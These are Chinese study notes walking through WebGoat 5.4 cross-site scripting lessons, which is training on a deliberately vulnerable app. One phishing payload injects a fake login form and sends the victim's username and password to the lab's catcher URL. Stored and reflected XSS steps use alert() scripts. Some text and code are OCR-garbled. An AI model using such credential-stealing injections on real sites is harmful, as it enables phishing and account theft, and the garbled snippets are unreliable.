WebGoat学习笔记九
—跨站脚本攻击(Cross-Site Scripting (XSS))
瞿靖东2015/11/10
版本号:WebGoat 5.4
1、使用XSS钓鱼(Phishing with XSS)
技术概念或主题(Concept / T opic T o T each)
在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP响应时容易造成XSS。在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
技术原理(How It works )
HTML文档内容很容易篡改的,如果你有权限操作页面源代码。
总体目标(General Goals )
创建一个form,要求填写用户名和密码。将数据提交到localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam
操作方法(Solutions)
利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,你需要结合起来使用:
受害人填写一个表格;
以读取脚本的形式,将收集到的信息发送给攻击者。
一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name="pass"><br>
</form><br><br><HR>
搜索这段代码,你就能看到页面中增加了一个表单。
现在你需要一段脚本:
<script>
function hack()
{alert("Had this been a Your credentials were just stolen." User Name=”+
document.form.user.val ue+"Password=”+document.form.pass.value); XSSlmage=new
Image (); XSSlmage.src="localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.form.user.value+"&password="+document.form.pass.value+””;
}
</script>
这段代码会读取你在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat.
最后,就是要将这两段代码合并。最终需要输入的代码如下:
<script>function hack(){ alert("Had this been a Your credentials were just stolen. User Name = " + document.forms[1].user.value + "Password = " + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="localhost/WebGoat/catcher?PROPERTY=yes&user="
+document.forms[1].u ser.value + "&password=" + document.forms[1].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="button" name="login" value="login" onclick="hack()"></form><br><br><HR>
需要注意,最终的代码必须进行js压缩(取消缩进)才能生效。
搜索这段代码,你会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你。
2、跨站脚本攻击(LAB: Cross Site Scripting)
技术概念或主题(Concept / T opic T o T each)
输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP响应时,XSS攻击也可能会发生。在一个反射式XSS攻击中,攻击者会利用攻击脚本精心制作一个URL并通过将其发送到其他网站、、或其他方式骗取受害者点击它。
总体目标(General Goals )
在这个练习中,你将执行存储和反射XSS攻击,你还可以通过在web应用程序中调整代码来防护这种攻击。
Stage 1:存储型XSS ( Stage 1: Stored XSS )
执行存储型跨站脚本攻击;
以“Tom”身份登录网站,修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的密码是用户明名字的小写(如:Tom的密码是tom).
操作方法(Solutions)
html获取input输入的数据1.以用户名“Tom”密码tom登录,选择Tom,点击“View Profile”按钮。现在可
以看到Tom的个人信息。点击“Edit Profile",在“Street”一栏中进行XSS攻击。加入
如下代码,点击“UpdateProfile":
<script>alert("haha");</script>
2.退出登录,以用户名Jerry,密码ferry登录,选择浏览Tom的信息,会弹出这段
注入脚本。
Stage 2:使用输入验证阻止存储型XSS攻击(Stage 2: Block Stored XSS using Input Validation)
由于本节课程只能在WebGoat开发版本上完成,所以跳过。
Stage 3:存储型XSS重访问(Stage 3: Stored XSS Revisited)
由于本节课程只能在WebGoat开发版本上完成,所以跳过。
Stage 4:使用输出编码阻止存储型XSS ( Stage 4: Block Stored XSS using Output Encoding)
由于本节课程只能在WebGoat开发版本上完成,所以跳过。
Stage 5:反射型XSS(Stage 5: Reflected XSS)
使用雇员搜索页面漏洞构造一个包含反射型XSS攻击代码的URL。验证另一位雇员访问该URL会受影响。
操作方法(Solutions)
以用户名Larry,密码larry登录。点击“SearchStaff",在搜索框中,添加如下一段代码即可完成:
<script>alert("Dangerous");</script>
此时当其他雇员使用SearchStaff服务时会提示错误
Stage 6:阻止反射型XSS C Stage 6: Block Reflected XSS )
由于本节课程只能在WebGoat开发版本上完成,所以跳过。
3、存储型XSS攻击(Stored XSS Attacks)
技术概念或主题(Concept / T opic T o T each)
过滤所有用户输入是一个不错的做法,特别是那些后期会被用作OS、脚本或数据库查询参数的输入。尤其是那些将要长期存储的内容。用户不能创建非法的消息内容,例如:可以导致其他用户访问时载入非预期的页面或内容
总体目标(General Goals )
创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。